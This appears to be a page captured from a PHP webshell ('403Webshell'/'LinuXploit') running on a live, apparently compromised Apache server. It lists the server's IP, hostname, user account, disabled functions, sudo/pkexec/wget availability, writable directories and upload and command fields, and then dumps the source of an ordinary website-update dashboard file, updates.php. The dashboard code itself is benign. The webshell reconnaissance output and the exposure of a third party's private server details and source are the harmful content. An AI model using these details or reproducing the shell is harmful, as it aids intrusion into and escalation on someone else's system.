403Webshell
Server IP : 213.255.246.8  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : stapolin ( 1019)
PHP Version : 8.4.24
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stapolin/public_html/dash.stapolin.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/stapolin/public_html/dash.stapolin.com/updates.php
<?php
/**
 * Updates overview: website cards with update counts (core, plugins, themes).
 * Each card links to the website dashboard.
 * Filterable by update status (has updates / up to date) and by client.
 */

$pageTitle = 'Updates';
require_once __DIR__ . '/includes/functions.php';

$filterUpdates = isset($_GET['filter_updates']) ? trim($_GET['filter_updates']) : '';
$filterClient = isset($_GET['filter_client']) ? trim($_GET['filter_client']) : '';
if (!in_array($filterUpdates, ['', 'all', 'has_updates', 'no_updates'], true)) {
    $filterUpdates = '';
}
if ($filterUpdates === 'all') {
    $filterUpdates = '';
}

$clients = getClients();

try {
    $db = getDb();
    $where = ['1=1'];
    $params = [];

    if ($filterClient !== '' && $filterClient !== 'all') {
        if ($filterClient === 'none') {
            $where[] = 'w.client_id IS NULL';
        } else {
            $where[] = 'w.client_id = ?';
            $params[] = (int) $filterClient;
        }
    }

    $hasUpdatesExpr = "(us.status_id IS NOT NULL AND (us.core_needs_update = 1 OR (us.plugins_json IS NOT NULL AND us.plugins_json LIKE '%\"needs_update\":true%') OR (us.themes_json IS NOT NULL AND us.themes_json LIKE '%\"needs_update\":true%')))";
    if ($filterUpdates === 'has_updates') {
        $where[] = $hasUpdatesExpr;
    } elseif ($filterUpdates === 'no_updates') {
        $where[] = "NOT " . $hasUpdatesExpr;
    }

    $sql = "SELECT w.*, c.client_name,
            COALESCE(s.plugin_count, 0) as snapshot_plugin_count,
            COALESCE(s.theme_count, 0) as snapshot_theme_count,
            (us.status_id IS NOT NULL AND (
                us.core_needs_update = 1
                OR (us.plugins_json IS NOT NULL AND us.plugins_json LIKE '%\"needs_update\":true%')
                OR (us.themes_json IS NOT NULL AND us.themes_json LIKE '%\"needs_update\":true%')
            )) AS has_updates,
            (lu.latest_status IS NOT NULL AND LOWER(lu.latest_status) = 'down') AS is_down,
            us.core_needs_update,
            us.plugins_json,
            us.themes_json
         FROM st_websites w 
         LEFT JOIN st_clients c ON w.client_id = c.client_id
         LEFT JOIN st_site_snapshot s ON s.website_id = w.website_id
         LEFT JOIN st_update_status us ON us.website_id = w.website_id
         LEFT JOIN (
            SELECT u1.website_id, u1.status AS latest_status
            FROM st_uptime_checks u1
            INNER JOIN (SELECT website_id, MAX(checked_at) AS max_checked FROM st_uptime_checks GROUP BY website_id) u2
            ON u1.website_id = u2.website_id AND u1.checked_at = u2.max_checked
         ) lu ON lu.website_id = w.website_id
         WHERE " . implode(' AND ', $where) . "
         ORDER BY c.client_name, w.website_url";
    $rows = $db->fetchAll($sql, $params);
    $websites = [];
    foreach ($rows as $r) {
        $coreCount = !empty($r['core_needs_update']) ? 1 : 0;
        $pluginCount = 0;
        $themeCount = 0;
        if (!empty($r['plugins_json'])) {
            $arr = json_decode($r['plugins_json'], true);
            if (is_array($arr)) {
                foreach ($arr as $p) {
                    if (!empty($p['needs_update'])) $pluginCount++;
                }
            }
        }
        if (!empty($r['themes_json'])) {
            $arr = json_decode($r['themes_json'], true);
            if (is_array($arr)) {
                foreach ($arr as $t) {
                    if (!empty($t['needs_update'])) $themeCount++;
                }
            }
        }
        $r['core_updates_count'] = $coreCount;
        $r['plugin_updates_count'] = $pluginCount;
        $r['theme_updates_count'] = $themeCount;
        $r['plugin_count'] = $r['snapshot_plugin_count'];
        $r['theme_count'] = $r['snapshot_theme_count'];
        $websites[] = $r;
    }
} catch (Exception $e) {
    $websites = [];
}

require_once __DIR__ . '/includes/header.php';
$hasActiveFilters = $filterUpdates !== '' || ($filterClient !== '' && $filterClient !== 'all');
?>

<div class="mb-6 flex flex-col sm:flex-row sm:items-center sm:justify-between gap-4">
    <p class="text-muted-foreground">Sites with available updates. Click a card to open the website dashboard.</p>
    <form method="get" action="updates.php" class="flex flex-wrap items-center gap-3">
        <label class="flex items-center gap-2 text-sm">
            <span class="text-muted-foreground whitespace-nowrap">Updates</span>
            <select name="filter_updates" class="rounded-md border border-border bg-background px-3 py-2 text-sm" onchange="this.form.submit()">
                <option value="all"<?= $filterUpdates === '' ? ' selected' : '' ?>>All sites</option>
                <option value="has_updates"<?= $filterUpdates === 'has_updates' ? ' selected' : '' ?>>Has updates</option>
                <option value="no_updates"<?= $filterUpdates === 'no_updates' ? ' selected' : '' ?>>Up to date</option>
            </select>
        </label>
        <label class="flex items-center gap-2 text-sm">
            <span class="text-muted-foreground whitespace-nowrap">Client</span>
            <select name="filter_client" class="rounded-md border border-border bg-background px-3 py-2 text-sm min-w-[140px]" onchange="this.form.submit()">
                <option value="all"<?= $filterClient === '' || $filterClient === 'all' ? ' selected' : '' ?>>All clients</option>
                <option value="none"<?= $filterClient === 'none' ? ' selected' : '' ?>>No client</option>
                <?php foreach ($clients as $c): ?>
                <option value="<?= (int)$c['client_id'] ?>"<?= $filterClient === (string)$c['client_id'] ? ' selected' : '' ?>><?= sanitize($c['client_name'] ?? '') ?></option>
                <?php endforeach; ?>
            </select>
        </label>
        <?php if ($hasActiveFilters): ?>
        <a href="updates.php" class="text-sm text-primary hover:underline">Clear filters</a>
        <?php endif; ?>
    </form>
</div>

<?php if (empty($websites)): ?>
<div class="card rounded-lg p-12 text-center">
    <svg class="w-16 h-16 mx-auto text-muted-foreground/50 mb-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 12a9 9 0 01-9 9m9-9a9 9 0 00-9-9m9 9H3m9 9a9 9 0 01-9-9m9 9c1.657 0 3-4.03 3-9s-1.343-9-3-9m0 18c-1.657 0-3-4.03-3-9s1.343-9 3-9m-9 9a9 9 0 019-9"/>
    </svg>
    <h3 class="text-lg font-medium mb-2"><?= $hasActiveFilters ? 'No sites match the filters' : 'No websites yet' ?></h3>
    <p class="text-muted-foreground">
        <?php if ($hasActiveFilters): ?>
        <a href="updates.php" class="text-primary hover:underline">Clear filters</a> to see all sites.
        <?php else: ?>
        Add websites from the <a href="websites.php" class="text-primary hover:underline">Websites</a> page to see update status here.
        <?php endif; ?>
    </p>
</div>
<?php else: ?>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-6">
    <?php foreach ($websites as $w): ?>
    <?php
        $isDown = !empty($w['is_down']);
        $hasUpdates = !empty($w['has_updates']);
        $totalUpdates = (int)$w['core_updates_count'] + (int)$w['plugin_updates_count'] + (int)$w['theme_updates_count'];
        $hasConnection = !empty($w['maintenance_secret']) || (!empty($w['wp_auth_username']) && !empty($w['wp_auth_app_password']));
    ?>
    <a href="website-dashboard.php?id=<?= (int)$w['website_id'] ?>" class="card rounded-lg overflow-hidden hover:border-primary/50 transition-colors block" data-testid="card-website-<?= $w['website_id'] ?>">
        <div class="aspect-video bg-muted/50 flex items-center justify-center">
            <?php if (!empty($w['screenshot_url'])): ?>
            <img src="<?= sanitize($w['screenshot_url']) ?>" alt="" class="w-full h-full object-cover">
            <?php else: ?>
            <svg class="w-16 h-16 text-muted-foreground/40" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 12a9 9 0 01-9 9m9-9a9 9 0 00-9-9m9 9H3m9 9a9 9 0 01-9-9m9 9c1.657 0 3-4.03 3-9s-1.343-9-3-9m0 18c-1.657 0-3-4.03-3-9s1.343-9 3-9m-9 9a9 9 0 019-9"/>
            </svg>
            <?php endif; ?>
        </div>
        <div class="p-4">
            <div class="flex items-start justify-between gap-2 mb-2">
                <h3 class="font-medium truncate flex-1" title="<?= sanitize($w['website_name'] ?: $w['website_url']) ?>"><?= sanitize($w['website_name'] ?: $w['website_url']) ?></h3>
                <div class="flex items-center gap-2">
                    <?php if ($isDown): ?>
                    <span class="w-2.5 h-2.5 rounded-full bg-red-500 flex-shrink-0" title="Site down"></span>
                    <?php elseif ($hasUpdates): ?>
                    <span class="w-2.5 h-2.5 rounded-full bg-amber-500 flex-shrink-0" title="Updates available"></span>
                    <?php else: ?>
                    <span class="w-2.5 h-2.5 rounded-full bg-emerald-500 flex-shrink-0" title="Up to date"></span>
                    <?php endif; ?>
                    <button
                        type="button"
                        class="site-refresh-btn text-xs text-muted-foreground hover:text-foreground"
                        data-website-id="<?= (int)$w['website_id'] ?>">
                        Refresh
                    </button>
                </div>
            </div>
            <?php if (!empty($w['client_name'])): ?>
            <p class="text-xs text-muted-foreground mb-2"><?= sanitize($w['client_name']) ?></p>
            <?php endif; ?>
            <div class="flex items-center gap-2 text-xs mb-3" title="<?= $hasConnection ? 'Connection method set (Maintenance secret or Application Password)' : 'No connection method set — add in website settings' ?>">
                <?php if ($hasConnection): ?>
                <span class="w-4 h-4 rounded-full bg-emerald-500 flex items-center justify-center flex-shrink-0" aria-hidden="true">
                    <svg class="w-2.5 h-2.5 text-white" fill="none" stroke="currentColor" stroke-width="2.5" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7"/></svg>
                </span>
                <span class="text-muted-foreground">Connected</span>
                <?php else: ?>
                <span class="w-4 h-4 rounded-full bg-red-500 flex items-center justify-center flex-shrink-0" aria-hidden="true">
                    <svg class="w-2.5 h-2.5 text-white" fill="none" stroke="currentColor" stroke-width="2.5" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12"/></svg>
                </span>
                <span class="text-muted-foreground">No connection</span>
                <?php endif; ?>
            </div>
            <div class="flex items-center gap-4 text-sm">
                <span class="flex items-center gap-1" title="Core updates">
                    <svg class="w-4 h-4 text-muted-foreground" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/></svg>
                    <span class="font-mono"><?= $w['core_updates_count'] ?></span>
                </span>
                <span class="flex items-center gap-1" title="Plugin updates">
                    <svg class="w-4 h-4 text-muted-foreground" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M11 4a2 2 0 114 0v1a1 1 0 001 1h3a1 1 0 011 1v3a1 1 0 01-1 1h-1a2 2 0 100 4h1a1 1 0 011 1v3a1 1 0 01-1 1h-3a1 1 0 01-1-1v-1a2 2 0 10-4 0v1a1 1 0 01-1 1H7a1 1 0 01-1-1v-3a1 1 0 00-1-1H4a2 2 0 110-4h1a1 1 0 001-1V7a1 1 0 011-1h3a1 1 0 001-1V4z"/></svg>
                    <span class="font-mono"><?= $w['plugin_updates_count'] ?></span>
                </span>
                <span class="flex items-center gap-1" title="Theme updates">
                    <svg class="w-4 h-4 text-muted-foreground" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 21a4 4 0 01-4-4V5a2 2 0 012-2h4a2 2 0 012 2v12a4 4 0 01-4 4zm0 0h12a2 2 0 002-2v-4a2 2 0 00-2-2h-2.343M11 7.343l1.657-1.657a2 2 0 012.828 0l2.829 2.829a2 2 0 010 2.828l-8.486 8.485M7 17h.01"/></svg>
                    <span class="font-mono"><?= $w['theme_updates_count'] ?></span>
                </span>
            </div>
        </div>
    </a>
    <?php endforeach; ?>
</div>
<?php endif; ?>

<script>
(function () {
    document.querySelectorAll('.site-refresh-btn').forEach(function (btn) {
        btn.addEventListener('click', function (e) {
            e.preventDefault();
            e.stopPropagation(); // don’t follow the card link

            var websiteId = parseInt(btn.getAttribute('data-website-id'), 10);
            if (!websiteId) return;

            var origText = btn.textContent;
            btn.disabled = true;
            btn.textContent = 'Refreshing…';

            fetch('api/refresh-update-status.php?website_id=' + websiteId)
                .then(function (r) { return r.json(); })
                .then(function (data) {
                    btn.disabled = false;
                    btn.textContent = origText;

                    if (data.success) {
                        if (typeof showToast === 'function') {
                            showToast(data.message || 'Update status refreshed');
                        } else {
                            alert(data.message || 'Update status refreshed');
                        }
                        setTimeout(function () { window.location.reload(); }, 800);
                    } else {
                        if (typeof showToast === 'function') {
                            showToast(data.error || 'Refresh failed', 'error');
                        } else {
                            alert(data.error || 'Refresh failed');
                        }
                    }
                })
                .catch(function () {
                    btn.disabled = false;
                    btn.textContent = origText;
                    if (typeof showToast === 'function') {
                        showToast('Request failed', 'error');
                    } else {
                        alert('Request failed');
                    }
                });
        });
    });
})();
</script>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit